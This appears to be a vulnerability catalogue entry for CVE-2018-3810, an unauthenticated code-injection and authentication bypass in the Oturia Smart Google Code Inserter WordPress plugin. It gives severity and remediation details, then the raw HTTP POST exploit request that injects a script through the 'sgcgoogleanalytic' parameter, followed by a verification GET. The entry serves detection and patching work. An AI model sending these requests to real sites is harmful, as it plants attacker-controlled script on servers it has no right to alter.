| Title | Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | An attacker can bypass authentication and gain unauthorized access to the affected WordPress site. |
| Remediation | Update to the latest version of the Oturia WordPress Smart Google Code Inserter plugin (3.5 or higher) to fix the authentication bypass vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92243 |
| CVE ID | CVE-2018-3810 |
| CWE ID | CWE-287 |
| Tags | cve cve2018 wordpress google edb oturia vkev vuln |
Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
POST /wp-admin/options-general.php?page=smartcode HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.3 Safari/605.1.15
Connection: close
Content-Length: 120
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
sgcgoogleanalytic=<script>console.log("document.domain")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-3810.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-3810.pcap
N/AN/A